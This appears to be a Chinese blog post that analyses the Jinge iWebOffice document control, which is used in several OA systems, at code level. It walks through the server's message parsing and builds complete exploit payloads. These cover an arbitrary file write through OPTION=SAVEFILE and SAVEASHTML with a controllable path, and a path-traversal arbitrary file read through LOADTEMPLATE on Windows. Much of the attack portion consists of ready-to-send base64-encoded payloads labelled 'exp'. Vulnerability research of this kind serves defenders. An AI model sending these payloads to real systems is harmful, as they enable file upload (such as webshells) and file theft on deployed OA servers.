金格iWebOffice控件分析

前言

众所周知,多个oa中都使用了金格iWebOffice控件。但在不同的oa中exp多少存在差异性,尝试从代码层一探究竟。

简介

金格iWebOffice控件是一种文档控件,能够在浏览器上进行编辑word文档、excel表格等文档最终保存在服务器上,手写签名、电子签章广泛应用于此。所以oa都喜欢使用。

漏洞分析

以某oa为例,本地搭建OfficeServer.jsp进行访问。

image.png
image.png

首先创建iWebOffice类的实例,officeServer对象调用ExecuteRun方法。并传入request、response。

image.png

在ExecuteRun方法里,会创建出数据库对象和创建信息包对象。

image.png

iMsgServer2000 方法里DBSTEP V3.0字符串赋值为this._$906this._$903创建出临时文件。
而后调用deleteOnExit方法删除临时文件。

回到ExecuteRun方法里,往下判断请求方法是否为Post请求。

image.png

即必须使用Post方法进行请求。

image.png

当使用Post方法请求时,首先进入MsgObj.Load方法。跟进该方法。

image.png

一个修改编码的操作,然后调用了_$1027方法。

image.png

在该方法里以输入流的方式一次性读取到mRead,而后从mRead中读取64位长度保存到HeadString字符串中。
接下来截取HeadString字符串的0-15位赋值为 this._$906,16-31位赋值为BodySize(int类型),32-47位赋值为ErrorSize(int类型),48-63位赋值为this._$907(int类型)即FileSize。
代码走到这个地方,我们可以尝试初步构造一下这64位长度。

aaaaaaaaaaaaaaaa1               2               3               

debug 跟踪一下

image.png

和我们计算的一样。

image.png

然后mRead会继续读取BodySize大小的数据并赋值为this._$904

image.png

再往下,如果ErrorSize大于0,mRead会继续读取ErrorSize大小的数据并赋值为this._$905

image.png

再往下,如果FileSize大于0,会创建出this._$903输出流,并最终写入文件。

image.png

再往下,如果FileSize小于BlockSize,mRead会继续读取FileSize大小的数据并写入mWite。
到这里,我们可以对数据格式进一步调整。

aaaaaaaaaaaaaaaa8               2               3               bbbxxccc

至此MsgObj.Load方法就分析了,我们发现有一个文件写入的操作。但我们需要寻找可控制的参数来实现它。
现在回到OfficeServer.jsp页面中。

image.png

都用到了GetMsgByName方法。

image.png

该方法里判断this._$904里是否存在mFieldName,即DBSTEP=,如果存在才会进入if语句。而后以\r\n分割,并对值进行base64解码。

基于这个条件,我们完善我们的数据格式。

aaaaaaaaaaaaaaaa13              2               3               DBSTEP=MTEx
xxccc

再次回到OfficeServer.jsp中,因为都是由GetMsgByName方法获取的FieldName。我们依次构造一下。

image.png

DBSTEP要等于DBSTEP,即DBSTEP=REJTVEVQ

aaaaaaaaaaaaaaaa48              2               3               DBSTEP=REJTVEVQ
FILENAME=
OPTION=
USERNAME=
xxccc

option可以理解为操作的方法,分别对应不同的if else语句。当option为SAVEFILE时,为保存文件到服务器。

image.png

依次构造出RECORDID、FILENAME、FILETYPE。
再往下一个参数isDoc,当isDoc为true是,会保存到文件夹。保存的位置由moduleType定义。

image.png

此时数据格式为

aaaaaaaaaaaaaaaa127             2               3               DBSTEP=REJTVEVQ
FILENAME=
OPTION=U0FWRUZJTEU=
USERNAME=
RECORDID=
FILETYPE=
isDoc=dHJ1ZQ==
moduleType=aW5mb3JtYXRpb24=
xxccc

再往下就看到保存文件的操作了。

image.png

MsgFileSave方法实现了将this._$903复制到FileName

image.png

可以发现FileType由可以控制的,即可以控制FileName
比如FileType赋值为information,文件就会保存到/upload/information/
exp即为:

aaaaaaaaaaaaaaaa138             2               3               DBSTEP=REJTVEVQ
OPTION=U0FWRUZJTEU=
USERNAME=
RECORDID=MQ==
FILENAME=
FILETYPE=MS50eHQ=
isDoc=dHJ1ZQ==
moduleType=aW5mb3JtYXRpb24=
xxccc
image.png

成功写入,现在只保留必须的参数即是exp。

aaaaaaaaaaaaaaaa101             3               4               DBSTEP=REJTVEVQ
OPTION=U0FWRUZJTEU=
FILETYPE=MS50eHQ
isDoc=dHJ1ZQ==
moduleType=aW5mb3JtYXRpb24=
xxx1111

总结一下
exp总共是4部分。
1、必须是64位的HeadString。即this._$906+BodySize+ErrorSize+this._$907

aaaaaaaaaaaaaaaa101             3               4              

2、进行写入文件的必备参数。即

DBSTEP=REJTVEVQ\r\nOPTION=U0FWRUZJTEU=\r\nFILETYPE=MS50eHQ\r\nisDoc=dHJ1ZQ==\r\nmoduleType=aW5mb3JtYXRpb24=\r\n

计算该字符串长度即是BodySize
3、读取ErrorSize部分的字符。即xxx,为3位ErrorSize
4、读取this._$907部分的字符,即1111,为4位this._$907

在整个过程里,需要注意的是
1、字符串长度的计算最好使用代码实现,编辑器存在误差。
2、因为FILETYPE的可控,完全可以写入任意路径。
3、HeadString部分满足64位即可,不需要一定存在DBSTEP V3.0

以上就是当OPTION为SAVEFILE的利用,思考一下其他OPTION会存在漏洞吗?SAVEFILE操作产生漏洞的关键就是用了MsgFileSave方法且mFileType可控。依据这个思路寻找其他操作。
SAVEASHTML操作时也出现了MsgFileSavemHtmlName可控。

image.png

构造一下exp

aaaaaaaaaaaaaaaa65              3               4               DBSTEP=REJTVEVQ
OPTION=U0FWRUFTSFRNTA==
HTMLNAME=MTIzLnR4dA==
xxx1111

成功写入。

image.png

除此之外,还有SAVEASPAGE、PUTFILE等操作均可以。
在LOADTEMPLATE操作中,还存在一个MsgFileLoad任意文件读取。构造一下exp

aaaaaaaaaaaaaaaa111             0               0               DBSTEP=REJTVEVQ
OPTION=TE9BRFRFTVBMQVRF
COMMAND=SU5TRVJURklMRQ==
TEMPLATE=Ly4uL2luZm9ybWF0aW9uLzExLnR4dA==

但该漏洞只适用于windows环境下。
因为linux在处理路径分隔符时有一些差异,无法找到该文件。

image.png

在windows下可正常读取。

image.png

总结

绘制一张粗糙的流程图回顾一下。

image.png
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 总结了一些开发中常用的函数: usleep() //函数延迟代码执行若干微秒。 unpack() //函数从二进制...
    ADL2022阅读 475评论 0 3
  • php usleep() 函数延迟代码执行若干微秒。 unpack() 函数从二进制字符串对数据进行解包。 uni...
    思梦PHP阅读 2,002评论 1 24
  • PHP常用函数大全 usleep() 函数延迟代码执行若干微秒。 unpack() 函数从二进制字符串对数据进行解...
    上街买菜丶迷倒老太阅读 1,381评论 0 20
  • usleep() 函数延迟代码执行若干微秒。unpack() 函数从二进制字符串对数据进行解包。uniqid() ...
    知码客阅读 222评论 0 0
  • 概述   本文档描述了Mach-O文件格式的结构,它被用来存储程序和库到硬盘中,作为Mac OS X程序的二进制接...
    VenpleD阅读 1,526评论 0 5